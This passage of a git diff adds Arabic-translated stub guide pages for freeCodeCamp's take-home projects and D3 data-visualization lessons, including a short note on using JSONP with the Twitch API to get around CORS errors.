+title: Build a Pong Game
+localeTitle: بناء لعبة بونغ
+---
+## بناء لعبة بونغ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md
new file mode 100644
index 0000000000..3714cc2fa2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Recipe Box
+localeTitle: بناء صندوق وصفة
+---
+## بناء صندوق وصفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md
new file mode 100644
index 0000000000..05c1de8e82
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Roguelike Dungeon Crawler Game
+localeTitle: بناء لعبة Roggike Dungeon الزاحف
+---
+## بناء لعبة Roggike Dungeon الزاحف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md
new file mode 100644
index 0000000000..bb1dcb45e6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Simon Game
+localeTitle: بناء لعبة سيمون
+---
+## بناء لعبة سيمون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md
new file mode 100644
index 0000000000..982e6a6f2a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Tic Tac Toe Game
+localeTitle: بناء لعبة تيك تاك تو
+---
+## بناء لعبة تيك تاك تو
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md
new file mode 100644
index 0000000000..35394cceb7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Voting App
+localeTitle: قم ببناء تطبيق التصويت
+---
+## قم ببناء تطبيق التصويت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md
new file mode 100644
index 0000000000..fe15183541
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Wikipedia Viewer
+localeTitle: بناء عارض ويكيبيديا
+---
+## بناء عارض ويكيبيديا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md
new file mode 100644
index 0000000000..26a0b16a18
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md
@@ -0,0 +1,9 @@
+---
+title: Build an Image Search Abstraction Layer
+localeTitle: بناء طبقة تجريد البحث عن الصور
+---
+## بناء طبقة تجريد البحث عن الصور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md
new file mode 100644
index 0000000000..628042835f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md
@@ -0,0 +1,9 @@
+---
+title: Build the Game of Life
+localeTitle: بناء لعبة الحياة
+---
+## بناء لعبة الحياة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md
new file mode 100644
index 0000000000..186f6858a5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md
@@ -0,0 +1,9 @@
+---
+title: Chart the Stock Market
+localeTitle: رسم البورصة
+---
+## رسم البورصة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/index.md
new file mode 100644
index 0000000000..e383640d83
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Take Home Projects
+localeTitle: تأخذ مشاريع المنزل
+---
+## تأخذ مشاريع المنزل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md
new file mode 100644
index 0000000000..547567c6b5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md
@@ -0,0 +1,9 @@
+---
+title: Manage a Book Trading Club
+localeTitle: إدارة نادي تداول الكتب
+---
+## إدارة نادي تداول الكتب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md
new file mode 100644
index 0000000000..e59eb55169
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md
@@ -0,0 +1,9 @@
+---
+title: Map Data Across the Globe
+localeTitle: بيانات الخريطة عبر العالم
+---
+## بيانات الخريطة عبر العالم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md
new file mode 100644
index 0000000000..0bfdf2ad60
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md
@@ -0,0 +1,9 @@
+---
+title: P2P Video Chat Application
+localeTitle: تطبيق دردشة الفيديو P2P
+---
+## تطبيق دردشة الفيديو P2P
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md
new file mode 100644
index 0000000000..7dcc3f87f0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md
@@ -0,0 +1,9 @@
+---
+title: Show National Contiguity with a Force Directed Graph
+localeTitle: أظهر التواصل الوطني مع الرسم البياني للقوة الموجهة
+---
+## إظهار التواصل الوطني مع الرسم البياني للقوة الموجهة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md
new file mode 100644
index 0000000000..3f4f845f0c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md
@@ -0,0 +1,9 @@
+---
+title: Show the Local Weather
+localeTitle: إظهار الطقس المحلي
+---
+## إظهار الطقس المحلي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/use-the-twitch-json-api/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/use-the-twitch-json-api/index.md
new file mode 100644
index 0000000000..d151e8d455
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/use-the-twitch-json-api/index.md
@@ -0,0 +1,28 @@
+---
+title: Use the Twitch JSON API
+localeTitle: استخدم واجهة برمجة تطبيقات Twitch JSON
+---
+تحديث 29 أيلول (سبتمبر) 2016: غيّر Twitch واجهة برمجة التطبيقات ، ويتطلب الآن مفتاح واجهة برمجة التطبيقات لتشغيل الاستعلامات. إذا كنت تستخدم صفحات CodePen أو GitHub لإنشاء هذه الصفحات ، فإننا لا نوصي بإضافة مفتاح API إلى مشروعك لأسباب تتعلق بالأمان.
+
+بدلاً من استخدام واجهة برمجة تطبيقات Twitch ، نوصي بشدة بتشفير [JSON هذا](https://gist.github.com/QuincyLarson/2ff6892f948d0b7118a99264fd9c1ce8) في تطبيقك كمتغير. إنها سلسلة من الردود على حسابات مختلفة من Twitch.
+
+* * *
+
+إذا كنت تحاول معالجة هذا التحدي باستخدام `$.getJSON()` jQuery ، `$.getJSON()` لك رسالة خطأ تتعلق `$.getJSON()` مصادر Cross-Origin (CORS).
+
+أسهل طريقة لحل هذه المشكلة هي استخدام إمكانات jSuop في jQuery. من [الصفحة التمهيدية](https://github.com/justintv/Twitch-API#json-p) لـ Twitch API:
+
+> تدعم جميع أساليب واجهة برمجة التطبيقات تطبيق JSON-P من خلال توفير معلمة معاودة الاتصال مع الطلب.
+
+كما تنص [وثائق jQuery](http://api.jquery.com/jQuery.getJSON/) :
+
+> إذا كان عنوان URL يتضمن السلسلة "callback =؟" (أو ما شابه ، كما هو محدد بواسطة واجهة برمجة التطبيقات من جانب الخادم) ، يتم التعامل مع الطلب على أنه JSONP بدلاً من ذلك.
+
+في ما يلي مثال لإجراء مكالمة لجلب بيانات قناة Twitch لمخيم Free Code:
+
+ `$.getJSON('https://api.twitch.tv/kraken/streams/freecodecamp?callback=?', function(data) { 
+  console.log(data); 
+ }); 
+` 
+
+تعتبر JSONP غير آمنة [وفقًا لـ Wikipedia](https://en.wikipedia.org/wiki/Cross-origin_resource_sharing#CORS_vs_JSONP) ، ولكن يجب أن تكون كافية لأغراضنا. لإجراء مناقشة تفصيلية حول تقييد CORS من Twitch ، يرجى قراءة [المسألة رقم 133](https://github.com/justintv/Twitch-API/issues/133) في مستودع Twitch-API.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/index.md
new file mode 100644
index 0000000000..9c95a3ce56
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Visualization Projects
+localeTitle: مشاريع تصوير البيانات
+---
+## مشاريع تصوير البيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md
new file mode 100644
index 0000000000..708efde047
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Bar Chart
+localeTitle: تصور البيانات مع شريط الرسم البياني
+---
+## تصور البيانات مع شريط الرسم البياني
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md
new file mode 100644
index 0000000000..0768d5ca05
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Choropleth Map
+localeTitle: تصور البيانات مع خريطة Choropleth
+---
+## تصور البيانات مع خريطة Choropleth
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md
new file mode 100644
index 0000000000..1815b075df
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Heat Map
+localeTitle: تصور البيانات مع خريطة الحرارة
+---
+## تصور البيانات مع خريطة الحرارة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md
new file mode 100644
index 0000000000..a8a61d4d14
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Scatterplot Graph
+localeTitle: تصور البيانات مع رسم Scatterplot
+---
+## تصور البيانات مع رسم Scatterplot
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md
new file mode 100644
index 0000000000..f3b2a9ab47
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Treemap Diagram
+localeTitle: تصور البيانات باستخدام مخطط Treemap
+---
+## تصور البيانات باستخدام مخطط Treemap
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md
new file mode 100644
index 0000000000..865fbafeb7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Hover Effect to a D3 Element
+localeTitle: إضافة تأثير Hover إلى عنصر D3
+---
+## إضافة تأثير Hover إلى عنصر D3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md
new file mode 100644
index 0000000000..8963c8da24
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Tooltip to a D3 Element
+localeTitle: إضافة تلميح إلى عنصر D3
+---
+## إضافة تلميح إلى عنصر D3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md
new file mode 100644
index 0000000000..6377e3da26
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Attributes to the Circle Elements
+localeTitle: أضف السمات إلى عناصر الدائرة
+---
+## أضف السمات إلى عناصر الدائرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md
new file mode 100644
index 0000000000..1f39049ec8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Axes to a Visualization
+localeTitle: إضافة محاور إلى التصور
+---
+## إضافة محاور إلى التصور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md
new file mode 100644
index 0000000000..e00f0e7346
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Classes with D3
+localeTitle: إضافة فئات مع D3
+---
+## إضافة فئات مع D3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md
new file mode 100644
index 0000000000..d4c7ad02d8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Document Elements with D3
+localeTitle: إضافة عناصر المستند مع D3
+---
+## إضافة عناصر المستند مع D3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md
new file mode 100644
index 0000000000..c1c0959834
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Inline Styling to Elements
+localeTitle: إضافة التصميم الداخلي للعناصر
+---
+## إضافة التصميم الداخلي للعناصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md
new file mode 100644
index 0000000000..5a2b627ae4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Labels to D3 Elements
+localeTitle: أضف تسميات لعناصر D3
+---
+## أضف تسميات لعناصر D3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md
new file mode 100644
index 0000000000..8378c1ba76
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Labels to Scatter Plot Circles
+localeTitle: أضف تسميات لعناوين الدائرة المبعثرة
+---
+## أضف تسميات لعناوين الدائرة المبعثرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/change-styles-based-on-data/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/change-styles-based-on-data/index.md
new file mode 100644
index 0000000000..8f644cb76a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/change-styles-based-on-data/index.md
@@ -0,0 +1,49 @@
+---
+title: Change Styles Based on Data
+localeTitle: تغيير الأنماط استنادًا إلى البيانات
+---
+## تغيير الأنماط استنادًا إلى البيانات
+
